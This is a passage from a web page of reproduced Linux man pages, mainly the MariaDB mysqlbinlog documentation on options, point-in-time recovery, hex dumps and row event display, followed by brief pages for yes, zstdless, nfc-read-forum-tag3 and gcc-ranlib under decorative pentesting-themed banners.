mysqlbinlog –database=db2 does not output the first two INSERT statements because there is no default database. It does not output the three INSERT statements following USE test, but does output the three INSERT statements following USE db2.

Row-based logging. mysqlbinlog outputs only entries that change tables belonging to db_name. The default database has no effect on this. Suppose that the binary log just described was created using row-based logging rather than statement-based logging. mysqlbinlog –database=test outputs only those entries that modify t1 in the test database, regardless of whether USE was issued or what the default database is. If a server is running with binlog_format set to MIXED and you want it to be possible to use mysqlbinlog with the –database option, you must ensure that tables that are modified are in the database selected by USE. (In particular, no cross-database updates should be used.)

Note

This option did not work correctly for mysqlbinlog with row-based logging prior to MySQL 5.1.37.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysqlbinlog.trace'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–defaults-extra-file=**name

Read this file after the global files are read.

·

**–defaults-file=**name

Only read default options from the given file.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

–disable-log-bin, -D

Disable binary logging. This is useful for avoiding an endless loop if you use the –to-last-log option and are sending the output to the same MariaDB server. This option also is useful when restoring after a crash to avoid duplication of the statements you have logged.

This option requires that you have the SUPER privilege. It causes mysqlbinlog to include a SET sql_log_bin = 0 statement in its output to disable binary logging of the remaining output. The SET statement is ineffective unless you have the SUPER privilege.

·

–force-if-open

Force if binlog was not closed properly. Defaults to on; use –skip-force-if-open to disable.

·

–force-read, -f

With this option, if mysqlbinlog reads a binary log event that it does not recognize, it prints a warning, ignores the event, and continues. Without this option, mysqlbinlog stops if it reads such an event.

·

–hexdump, -H

Display a hex dump of the log in comments, as described in the section called “MYSQLBINLOG HEX DUMP FORMAT”. The hex output can be helpful for replication debugging.

·

**–host=**host_name, -h host_name

Get the binary log from the MariaDB server on the given host.

·

**–local-load=**path, -l path

Prepare local temporary files for LOAD DATA INFILE in the specified directory.

·

–no-defaults

Don’t read default options from any option file.

·

**–offset=**N, -o N

Skip the first N entries in the log.

·

**–open-files-limit=**NUM

Sets the open_files_limit variable, which is used to reserve file descriptors for mysqlbinlog.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlbinlog prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–plugin-dir=**dir_name

Directory for client-side plugins.

·

–print-defaults

Print the program argument list from all option files and exit.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for connecting to a remote server, or 0 for default to, in order of preference, my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default (3306). Forces –protocol=tcp when specified on the command line without other connection properties.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–raw

Requires -R. Output raw binlog data instead of SQL statements. Output files named after server logs.

·

–read-from-remote-server, -R

Read the binary log from a MariaDB server rather than reading a local log file. Any connection parameter options are ignored unless this option is given as well. These options are –host, –password, –port, –protocol, –socket, and –user.

This option requires that the remote server be running. It works only for binary log files on the remote server, not relay log files.

·

**–result-file=**name, -r name

Direct output to the given file. With –raw this is a prefix for the file names.

·

**–rewrite-db=**name, -r name

Updates to a database with a different name than the original. Example: rewrite-db=‘from->to’. For events that are binlogged as statements, rewriting the database constitutes changing a statement’s default database from db1 to db2. There is no statement analysis or rewrite of any kind, that is, if one specifies “db1.tbl” in the statement explicitly, that occurrence won’t be changed to “db2.tbl”. Row-based events are rewritten correctly to use the new database name. Filtering (e.g. with –database=name) happens after the database rewrites have been performed. If you use this option on the command line and ">" has a special meaning to your command interpreter, quote the value (e.g. –rewrite-db=“oldname->newname”.

·

**–server-id=**id

Display only those events created by the server having the given server ID.

·

**–set-charset=**charset_name

Add a SET NAMES charset_name statement to the output to specify the character set to be used for processing log files.

·

–short-form, -s

Display only the statements contained in the log, no extra info and no row-based events. This is for testing only, and should not be used in production systems. If you want to suppress base64-output, consider using –base64-output=never instead.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

**–start-datetime=**datetime

Start reading the binary log at the first event having a timestamp equal to or later than the datetime argument. The datetime value is relative to the local time zone on the machine where you run mysqlbinlog. The value should be in a format accepted for the DATETIME or TIMESTAMP data types. For example:

shell> mysqlbinlog –start-datetime=“2014-12-25 11:25:56” binlog.000003

This option is useful for point-in-time recovery.

·

**–start-position=**N, -j N

Start reading the binary log at N. Type can either be a positive integer or a GTID list. When using a positive integer, the value only applies to the first binlog passed on the command line, and the first event that has a position equal to or greater than N is printed. In GTID mode, multiple GTIDs can be passed as a comma separated list, where each must have a unique domain id. The list represents the gtid binlog state that the client (another “replica” server) is aware of. Therefore, each GTID is exclusive; only events after a given sequence number will be printed to allow users to receive events after their current state.

This option is useful for point-in-time recovery.

·

–gtid-strict-mode

Process binlog according to gtid-strict-mode specification. The start, stop positions are verified to satisfy start < stop comparison condition. Sequence numbers of any gtid domain must comprise monotically growing sequence.

·

**–stop-datetime=**datetime

Stop reading the binary log at the first event having a timestamp equal to or later than the datetime argument. This option is useful for point-in-time recovery. See the description of the –start-datetime option for information about the datetime value.

This option is useful for point-in-time recovery.

·

–stop-never

Wait for more data from the server instead of stopping at the end of the last log. Implies –to-last-log.

·

–stop-never-slave-server-id

The slave server_id used for –read-from-remote-server –stop-never.

·

**–stop-position=**N

Stop reading the binary log at the first event having a position equal to or greater than N. Type can either be a positive integer or a GTID list. When using a positive integer, the value only applies to the last log file named on the command line. When in GTID mode, multiple GTIDs can be passed as a comma separated list, where each must have a unique domain id. Each GTID is inclusive; only events up to the given sequence numbers are printed.

This option is useful for point-in-time recovery.

·

–table, -T

List entries for just this table (local log only).

·

–to-last-log, -t

Do not stop at the end of the requested binary log from a MariaDB server, but rather continue printing until the end of the last binary log. If you send the output to the same MariaDB server, this may lead to an endless loop, so this option requires –read-from-remote-server.

·

**–user=**user_name, -u user_name

The MariaDB username to use when connecting to a remote server.

·

–verbose, -v

Reconstruct row events and display them as commented SQL statements. If this option is given twice, the output includes comments to indicate column data types and some metadata. If this option is given three times, the output includes diagnostic warnings about event integrity before program exit.

For examples that show the effect of –base64-output and –verbose on row event output, see the section called “MYSQLBINLOG ROW EVENT DISPLAY”.

·

–version, -V

Display version information and exit.

You can also set the following variable by using **–var_name=**value syntax:

·

open_files_limit

Specify the number of open file descriptors to reserve.

You can pipe the output of mysqlbinlog into the mysql client to execute the events contained in the binary log. This technique is used to recover from a crash when you have an old backup. For example:

shell> mysqlbinlog binlog.000001 | mysql -u root -p

Or:

shell> mysqlbinlog binlog.[0-9]* | mysql -u root -p

You can also redirect the output of mysqlbinlog to a text file instead, if you need to modify the statement log first (for example, to remove statements that you do not want to execute for some reason). After editing the file, execute the statements that it contains by using it as input to the mysql program:

shell> mysqlbinlog binlog.000001 > tmpfile shell> … edit tmpfile … shell> mysql -u root -p < tmpfile

When mysqlbinlog is invoked with the –start-position option, it displays only those events with an offset in the binary log greater than or equal to a given position (the given position must match the start of one event). It also has options to stop and start when it sees an event with a given date and time. This enables you to perform point-in-time recovery using the –stop-datetime option (to be able to say, for example, “roll forward my databases to how they were today at 10:30 a.m.”).

If you have more than one binary log to execute on the MariaDB server, the safe method is to process them all using a single connection to the server. Here is an example that demonstrates what may be unsafe:

shell> mysqlbinlog binlog.000001 | mysql -u root -p # DANGER!! shell> mysqlbinlog binlog.000002 | mysql -u root -p # DANGER!!

Processing binary logs this way using different connections to the server causes problems if the first log file contains a CREATE TEMPORARY TABLE statement and the second log contains a statement that uses the temporary table. When the first mysql process terminates, the server drops the temporary table. When the second mysql process attempts to use the table, the server reports “unknown table.”

To avoid problems like this, use a single mysql process to execute the contents of all binary logs that you want to process. Here is one way to do so:

shell> mysqlbinlog binlog.000001 binlog.000002 | mysql -u root -p

Another approach is to write all the logs to a single file and then process the file:

shell> mysqlbinlog binlog.000001 > /tmp/statements.sql shell> mysqlbinlog binlog.000002 » /tmp/statements.sql shell> mysql -u root -p -e “source /tmp/statements.sql”

mysqlbinlog can produce output that reproduces a LOAD DATA INFILE operation without the original data file. mysqlbinlog copies the data to a temporary file and writes a LOAD DATA LOCAL INFILE statement that refers to the file. The default location of the directory where these files are written is system-specific. To specify a directory explicitly, use the –local-load option.

Because mysqlbinlog converts LOAD DATA INFILE statements to LOAD DATA LOCAL INFILE statements (that is, it adds LOCAL), both the client and the server that you use to process the statements must be configured with the LOCAL capability enabled.

Warning

The temporary files created for LOAD DATA LOCAL statements are not automatically deleted because they are needed until you actually execute those statements. You should delete the temporary files yourself after you no longer need the statement log. The files can be found in the temporary file directory and have names like original_file_name-#-#.

MYSQLBINLOG HEX DUMP FORMAT

The –hexdump option causes mysqlbinlog to produce a hex dump of the binary log contents:

shell> mysqlbinlog –hexdump master-bin.000001

The hex output consists of comment lines beginning with #, so the output might look like this for the preceding command:

/!40019 SET @@session.max_delayed_threads=0/; /!50003 SET @OLD_COMPLETION_TYPE=@@COMPLETION_TYPE,COMPLETION_TYPE=0/; # at 4 #051024 17:24:13 server id 1 end_log_pos 98 # Position Timestamp Type Master ID Size Master Pos Flags # 00000004 9d fc 5c 43 0f 01 00 00 00 5e 00 00 00 62 00 00 00 00 00 # 00000017 04 00 35 2e 30 2e 31 35 2d 64 65 62 75 67 2d 6c |..5.0.15.debug.l| # 00000027 6f 67 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |og…………..| # 00000037 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…………….| # 00000047 00 00 00 00 9d fc 5c 43 13 38 0d 00 08 00 12 00 |…….C.8……| # 00000057 04 04 04 04 12 00 00 4b 00 04 1a |…….K…| # Start: binlog v 4, server v 5.0.15-debug-log created 051024 17:24:13 # at startup ROLLBACK;

Hex dump output currently contains the elements in the following list. This format is subject to change. (For more information about binary log format, see http://forge.mysql.com/wiki/MySQL_Internals_Binary_Log.)

·

Position: The byte position within the log file.

·

Timestamp: The event timestamp. In the example shown, ‘9d fc 5c 43’ is the representation of ‘051024 17:24:13’ in hexadecimal.

·

Type: The event type code. In the example shown, ‘0f’ indicates a FORMAT_DESCRIPTION_EVENT. The following table lists the possible type codes.

TypeNameMeaning
00UNKNOWN_EVENTThis event should never be present in the log.
01START_EVENT_V3This indicates the start of a log file written by MySQL 4 or earlier.
02QUERY_EVENTThe most common type of events. These contain statements executed on the master.
03STOP_EVENTIndicates that master has stopped.
04ROTATE_EVENTWritten when the master switches to a new log file.
05INTVAR_EVENTUsed for AUTO_INCREMENT values or when the LAST_INSERT_ID() function is used in the statement.
06LOAD_EVENTUsed for LOAD DATA INFILE in MySQL 3.23.
07SLAVE_EVENTReserved for future use.
08CREATE_FILE_EVENTUsed for LOAD DATA INFILE statements. This indicates the start of execution of such a statement. A temporary file is created on the slave. Used in MySQL 4 only.
09APPEND_BLOCK_EVENTContains data for use in a LOAD DATA INFILE statement. The data is stored in the temporary file on the slave.
0aEXEC_LOAD_EVENTUsed for LOAD DATA INFILE statements. The contents of the temporary file is stored in the table on the slave. Used in MySQL 4 only.
0bDELETE_FILE_EVENTRollback of a LOAD DATA INFILE statement. The temporary file should be deleted on the slave.
0cNEW_LOAD_EVENTUsed for LOAD DATA INFILE in MySQL 4 and earlier.
0dRAND_EVENTUsed to send information about random values if the RAND() function is used in the statement.
0eUSER_VAR_EVENTUsed to replicate user variables.
0f
FORMAT_DESCRIPTION_EVENT
This indicates the start of a log file written by MySQL 5 or later.
10XID_EVENTEvent indicating commit of an XA transaction.
11BEGIN_LOAD_QUERY_EVENTUsed for LOAD DATA INFILE statements in MySQL 5 and later.
12EXECUTE_LOAD_QUERY_EVENTUsed for LOAD DATA INFILE statements in MySQL 5 and later.
13TABLE_MAP_EVENTInformation about a table definition. Used in MySQL 5.1.5 and later.
14PRE_GA_WRITE_ROWS_EVENTRow data for a single table that should be created. Used in MySQL 5.1.5 to 5.1.17.
15PRE_GA_UPDATE_ROWS_EVENTRow data for a single table that needs to be updated. Used in MySQL 5.1.5 to 5.1.17.
16PRE_GA_DELETE_ROWS_EVENTRow data for a single table that should be deleted. Used in MySQL 5.1.5 to 5.1.17.
17WRITE_ROWS_EVENTRow data for a single table that should be created. Used in MySQL 5.1.18 and later.
18UPDATE_ROWS_EVENTRow data for a single table that needs to be updated. Used in MySQL 5.1.18 and later.
19DELETE_ROWS_EVENTRow data for a single table that should be deleted. Used in MySQL 5.1.18 and later.
1aINCIDENT_EVENTSomething out of the ordinary happened. Added in MySQL 5.1.18.

·

Master ID: The server ID of the master that created the event.

·

Size: The size in bytes of the event.

·

Master Pos: The position of the next event in the original master log file.

·

Flags: 16 flags. Currently, the following flags are used. The others are reserved for future use.

FlagNameMeaning
01
LOG_EVENT_BINLOG_IN_USE_F
Log file correctly closed. (Used only in FORMAT_DESCRIPTION_EVENT.) If this flag is set (if the flags are, for example, '01 00') in a FORMAT_DESCRIPTION_EVENT, the log file has not been properly closed. Most probably this is because of a master crash (for example, due to power failure).
02Reserved for future use.
04
LOG_EVENT_THREAD_SPECIFIC_F
Set if the event is dependent on the connection it was executed in (for example, '04 00'), for example, if the event uses temporary tables.
08LOG_EVENT_SUPPRESS_USE_FSet in some circumstances when the event is not dependent on the default database.

MYSQLBINLOG ROW EVENT DISPLAY

The following examples illustrate how mysqlbinlog displays row events that specify data modifications. These correspond to events with the WRITE_ROWS_EVENT, UPDATE_ROWS_EVENT, and DELETE_ROWS_EVENT type codes. The –base64-output=DECODE-ROWS and –verbose options may be used to affect row event output.

Suppose that the server is using row-based binary logging and that you execute the following sequence of statements:

CREATE TABLE t ( id INT NOT NULL, name VARCHAR(20) NOT NULL, date DATE NULL ) ENGINE = InnoDB; START TRANSACTION; INSERT INTO t VALUES(1, ‘apple’, NULL); UPDATE t SET name = ‘pear’, date = ‘2009-01-01’ WHERE id = 1; DELETE FROM t WHERE id = 1; COMMIT;

By default, mysqlbinlog displays row events encoded as base-64 strings using BINLOG statements. Omitting extraneous lines, the output for the row events produced by the preceding statement sequence looks like this:

shell> mysqlbinlog log_file … # at 218 #080828 15:03:08 server id 1 end_log_pos 258 Write_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAANoAAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBcBAAAAKAAAAAIBAAAQABEAAAAAAAEAA//8AQAAAAVhcHBsZQ==’/!/; … # at 302 #080828 15:03:08 server id 1 end_log_pos 356 Update_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAC4BAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBgBAAAANgAAAGQBAAAQABEAAAAAAAEAA////AEAAAAFYXBwbGX4AQAAAARwZWFyIbIP’/!/; … # at 400 #080828 15:03:08 server id 1 end_log_pos 442 Delete_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAJABAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBkBAAAAKgAAALoBAAAQABEAAAAAAAEAA//4AQAAAARwZWFyIbIP’/!/;

To see the row events as comments in the form of “pseudo-SQL” statements, run mysqlbinlog with the –verbose or -v option. The output will contain lines beginning with ###:

shell> mysqlbinlog -v log_file … # at 218 #080828 15:03:08 server id 1 end_log_pos 258 Write_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAANoAAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBcBAAAAKAAAAAIBAAAQABEAAAAAAAEAA//8AQAAAAVhcHBsZQ==’/!/; ### INSERT INTO test.t ### SET ### @1=1 ### @2=‘apple’ ### @3=NULL … # at 302 #080828 15:03:08 server id 1 end_log_pos 356 Update_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAC4BAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBgBAAAANgAAAGQBAAAQABEAAAAAAAEAA////AEAAAAFYXBwbGX4AQAAAARwZWFyIbIP’/!/; ### UPDATE test.t ### WHERE ### @1=1 ### @2=‘apple’ ### @3=NULL ### SET ### @1=1 ### @2=‘pear’ ### @3=‘2009:01:01’ … # at 400 #080828 15:03:08 server id 1 end_log_pos 442 Delete_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAJABAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBkBAAAAKgAAALoBAAAQABEAAAAAAAEAA//4AQAAAARwZWFyIbIP’/!/; ### DELETE FROM test.t ### WHERE ### @1=1 ### @2=‘pear’ ### @3=‘2009:01:01’

Specify –verbose or -v twice to also display data types and some metadata for each column. The output will contain an additional comment following each column change:

shell> mysqlbinlog -vv log_file … # at 218 #080828 15:03:08 server id 1 end_log_pos 258 Write_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAANoAAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBcBAAAAKAAAAAIBAAAQABEAAAAAAAEAA//8AQAAAAVhcHBsZQ==’/!/; ### INSERT INTO test.t ### SET ### @1=1 /* INT meta=0 nullable=0 is_null=0 / ### @2=‘apple’ / VARSTRING(20) meta=20 nullable=0 is_null=0 / ### @3=NULL / VARSTRING(20) meta=0 nullable=1 is_null=1 / … # at 302 #080828 15:03:08 server id 1 end_log_pos 356 Update_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAC4BAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBgBAAAANgAAAGQBAAAQABEAAAAAAAEAA////AEAAAAFYXBwbGX4AQAAAARwZWFyIbIP’/!/; ### UPDATE test.t ### WHERE ### @1=1 / INT meta=0 nullable=0 is_null=0 / ### @2=‘apple’ / VARSTRING(20) meta=20 nullable=0 is_null=0 / ### @3=NULL / VARSTRING(20) meta=0 nullable=1 is_null=1 / ### SET ### @1=1 / INT meta=0 nullable=0 is_null=0 / ### @2=‘pear’ / VARSTRING(20) meta=20 nullable=0 is_null=0 / ### @3=‘2009:01:01’ / DATE meta=0 nullable=1 is_null=0 / … # at 400 #080828 15:03:08 server id 1 end_log_pos 442 Delete_rows: table id 17 flags: STMT_END_F BINLOG ‘fAS3SBMBAAAALAAAAJABAAAAABEAAAAAAAAABHRlc3QAAXQAAwMPCgIUAAQ= fAS3SBkBAAAAKgAAALoBAAAQABEAAAAAAAEAA//4AQAAAARwZWFyIbIP’/!/; ### DELETE FROM test.t ### WHERE ### @1=1 / INT meta=0 nullable=0 is_null=0 / ### @2=‘pear’ / VARSTRING(20) meta=20 nullable=0 is_null=0 / ### @3=‘2009:01:01’ / DATE meta=0 nullable=1 is_null=0 */

You can tell mysqlbinlog to suppress the BINLOG statements for row events by using the –base64-output=DECODE-ROWS option. This is similar to –base64-output=NEVER but does not exit with an error if a row event is found. The combination of –base64-output=DECODE-ROWS and –verbose provides a convenient way to see row events only as SQL statements:

shell> mysqlbinlog -v –base64-output=DECODE-ROWS log_file … # at 218 #080828 15:03:08 server id 1 end_log_pos 258 Write_rows: table id 17 flags: STMT_END_F ### INSERT INTO test.t ### SET ### @1=1 ### @2=‘apple’ ### @3=NULL … # at 302 #080828 15:03:08 server id 1 end_log_pos 356 Update_rows: table id 17 flags: STMT_END_F ### UPDATE test.t ### WHERE ### @1=1 ### @2=‘apple’ ### @3=NULL ### SET ### @1=1 ### @2=‘pear’ ### @3=‘2009:01:01’ … # at 400 #080828 15:03:08 server id 1 end_log_pos 442 Delete_rows: table id 17 flags: STMT_END_F ### DELETE FROM test.t ### WHERE ### @1=1 ### @2=‘pear’ ### @3=‘2009:01:01’

Note

You should not suppress BINLOG statements if you intend to re-execute mysqlbinlog output.

The SQL statements produced by –verbose for row events are much more readable than the corresponding BINLOG statements. However, they do not correspond exactly to the original SQL statements that generated the events. The following limitations apply:

·

The original column names are lost and replaced by @N, where N is a column number.

·

Character set information is not available in the binary log, which affects string column display:

·

There is no distinction made between corresponding binary and nonbinary string types (BINARY and CHAR, VARBINARY and VARCHAR, BLOB and TEXT). The output uses a data type of STRING for fixed-length strings and VARSTRING for variable-length strings.

·

For multi-byte character sets, the maximum number of bytes per character is not present in the binary log, so the length for string types is displayed in bytes rather than in characters. For example, STRING(4) will be used as the data type for values from either of these column types:

CHAR(4) CHARACTER SET latin1 CHAR(2) CHARACTER SET ucs2

·

Due to the storage format for events of type UPDATE_ROWS_EVENT, UPDATE statements are displayed with the WHERE clause preceding the SET clause.

Proper interpretation of row events requires the information from the format description event at the beginning of the binary log. Because mysqlbinlog does not know in advance whether the rest of the log contains row events, by default it displays the format description event using a BINLOG statement in the initial part of the output.

If the binary log is known not to contain any events requiring a BINLOG statement (that is, no row events), the –base64-output=NEVER option can be used to prevent this header from being written.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2021 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

NOTES

Bug#42941

http://bugs.mysql.com/bug.php?id=42941

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

411 - Linux cli command yes

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command yes and provides detailed information about the command yes, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the yes.

NAME 🖥️ yes 🖥️

output a string repeatedly until killed

SYNOPSIS

yes [STRING]…
yes OPTION

DESCRIPTION

Repeatedly output a line with all specified STRING(s), or ‘y’.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/yes>
or available locally via: info ‘(coreutils) yes invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

412 - Linux cli command zstdless

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zstdless and provides detailed information about the command zstdless, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zstdless.

NAME 🖥️ zstdless 🖥️

view zstandard-compressed files

SYNOPSIS

zstdless [flags] [file …]

DESCRIPTION

zstdless runs less(1) on files or stdin, if no file argument is given, after decompressing them with zstdcat(1).

SEE ALSO

zstd(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

413 - Linux cli command nfc-read-forum-tag3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-read-forum-tag3 and provides detailed information about the command nfc-read-forum-tag3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-read-forum-tag3.

NAME 🖥️ nfc-read-forum-tag3 🖥️

read-forum-tag3 - Extract NDEF Message from a NFC Forum Tag Type 3

SYNOPSIS

nfc-read-forum-tag3 [ -q ] -o FILE

DESCRIPTION

nfc-read-forum-tag3 This utility extracts (if available) NDEF Messages contained in a NFC Forum Tag Type 3 to FILE

OPTIONS

-o FILE : output extracted NDEF Message to FILE (use -o - to output to stdout)

-q : be quiet, don’t display Attribute Block parsing info

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Roel Verdult <[email protected]>,
Romain Tartière <[email protected]>,
Romuald Conty <[email protected]>.

This manual page was written by Audrey Diacre <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

414 - Linux cli command x86_64-linux-gnu-gcc-ranlib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-ranlib and provides detailed information about the command x86_64-linux-gnu-gcc-ranlib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-ranlib.

NAME 🖥️ x86_64-linux-gnu-gcc-ranlib 🖥️

ranlib - a wrapper around ranlib adding the –plugin option

SYNOPSIS

gcc-ranlib [OPTION] … [ARGS…]

DESCRIPTION

gcc-ranlib is a wrapper around ranlib(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See ranlib(1) for a list of options that ranlib understands.

SEE ALSO

ranlib(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

